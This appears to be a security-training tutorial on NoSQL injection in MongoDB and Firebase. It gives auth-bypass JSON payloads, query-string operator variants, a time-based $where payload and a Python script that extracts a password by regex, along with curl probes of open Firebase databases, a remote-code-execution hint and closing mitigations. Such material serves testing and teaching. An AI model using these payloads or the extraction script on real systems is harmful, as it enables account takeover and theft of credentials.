Quick answer
NoSQL injection (NoSQLi) happens when unsanitized inputs end up in NoSQL database queries. In MongoDB the most common vector is operator injection ($ne, $gt, $regex, $where) when the body accepts JSON and the code uses Model.find(req.body) directly. It allows auth bypass (finding at least one user without knowing a password), blind extraction via timing/regex, and sometimes RCE on old setups.
Context: why NoSQL is different
SQLi breaks the query syntax. NoSQLi replaces values with operators that the engine interprets differently.
Example in Express + Mongoose:
app.post('/login', async (req, res) => {
const user = await User.findOne(req.body); // ⚠️ pasa todo el body como filtro
if (user) return res.json({ ok: true });
});
If the client sends:
{ "username": "admin", "password": { "$ne": "x" } }
The query becomes findOne({username: "admin", password: {$ne: "x"}}) → "find the admin whose password is not 'x'" → matches any admin with a password ≠ "x" → bypass.
Classic auth bypass
POST /login
Content-Type: application/json
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
$gt: "" matches any string. The query returns the first user in the collection — frequently admin if they're in creation order.
Variants to try if the first doesn't work:
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
{ "username": "admin", "password": { "$ne": "" } }
{ "username": "admin", "password": { "$regex": ".*" } }
{ "$where": "1==1" }
Blind extraction with $regex
When the app doesn't return data directly but confirms "login OK / KO":
{ "username": "admin", "password": { "$regex": "^a.*" } }
If it responds 200 → the password starts with "a". Iterate character by character to extract the full password. Without rate limiting, automatable in minutes.
import requests, string
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while len(password) < 50:
for c in charset:
prefix = password + c
r = requests.post("https://target.tld/login", json={
"username": "admin",
"password": {"$regex": f"^{prefix}"}
})
if r.status_code == 200:
password += c
print(f"Found: {password}")
break
else:
break # No char matches → password completo
print(f"Final: {password}")
Time-based blind with $where
If the app doesn't return different status codes but runs $where with JS code:
{
"$where": "function() { if (this.username == 'admin' && this.password.match(/^a/)) sleep(5000); return true; }"
}
Measure the response latency to detect a match. Useful when the responses are identical (silent server). Requires $where enabled (disabled on MongoDB Atlas and modern configs).
Injection in GET endpoints (URL params)
When the backend converts query strings into operators:
GET /users?username[$ne]=&password[$ne]=
Express with qs or extended body-parser automatically converts username[$ne]= into { username: { $ne: "" } }. If the code passes req.query directly to find(), the same bypass as the body.
Some frameworks (default Express qs in modern versions) no longer parse deep. Verify with:
?username[$ne]=admin
?username[%24ne]=admin (URL-encoded)
Useful operators for NoSQLi
| Operator | Use |
|---|---|
$eq | Explicit equality |
$ne | Not equal (matches almost everything) |
$gt | Greater than ("" matches all strings) |
$lt | Less than |
$in | Is in array |
$regex | Regex match (blind extraction) |
$exists | Field exists (true) or not (false) |
$where | Arbitrary JS (disabled in modern configs) |
$expr | Aggregation expression (more powerful) |
$or | Multiple conditions |
Other engines
Firebase Realtime Database / Firestore
Firebase rules are the first line of defense. If the rules are read: true, write: true (the default in quickstarts), the database is completely open.
# Test con HTTP REST
curl https://target.firebaseio.com/.json
curl https://target.firebaseio.com/users.json
What is usually "injected" in Firebase is direct access to paths that shouldn't be readable. It's not classic injection — it's broken access control in the rules.
CouchDB / Cassandra
Similar patterns when queries are built dynamically with client input. Less common in bug bounty than MongoDB.
SSJI (Server-Side JavaScript Injection)
If the app uses Mongo $where with dynamically built JS code:
const code = `function() { return this.tag == "${userInput}"; }`;
db.collection.find({ $where: code });
By injecting "; while(true){}; var x=", the resulting JS enters a busy-loop → DoS. With process.exit(), it kills the worker. With require('child_process').exec("...") in some old contexts → RCE.
Hunting checklist
- Does the endpoint accept a JSON body? Try
{ "username": { "$ne": null }, "password": { "$ne": null } }. - Does the endpoint accept query strings? Try
?username[$ne]=. - Does the framework parse
[$op]automatically? Test with a clearly wrong field. - Does the response change if the injection "matches"? → direct bypass.
- Visually the same response but different timing? → blind via
$regex+sleep. - Is
$whereenabled? Try JS injection. - Public Firebase URL without rules?
curl https://<project>.firebaseio.com/.json. - Admin endpoints with filter-based search? A frequent vector.
Correct mitigation
- Whitelist of expected fields. Don't
User.find(req.body)directly — extract only{ username, password }explicitly. - Validate the type. Make sure
usernameandpasswordare strings, not objects. - Specific sanitizers (
mongo-sanitizefor Express). - Schemas with strict types (Mongoose with
type: String, required: true). - Disable
$wherein production.
Related labs
Practice auth bypass with $ne, blind extraction with $regex, and NoSQLi in GET params: NoSQL Injection labs.
Practice this in a lab
Nosql Injection
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.
XSS contexts — payloads per context (HTML, attribute, JS, URL, CSS)
How to identify the exact context where your input is injected and the payloads that escape each one: HTML body, HTML attribute, JS string, JS event, URL, CSS, JSON.
Command Injection — bypasses with spaces, encoding and backticks
Command injection in endpoints that pass input to the shell. Filter bypasses: ${IFS}, $@, ;|&, encoded null bytes, output redirection to a file.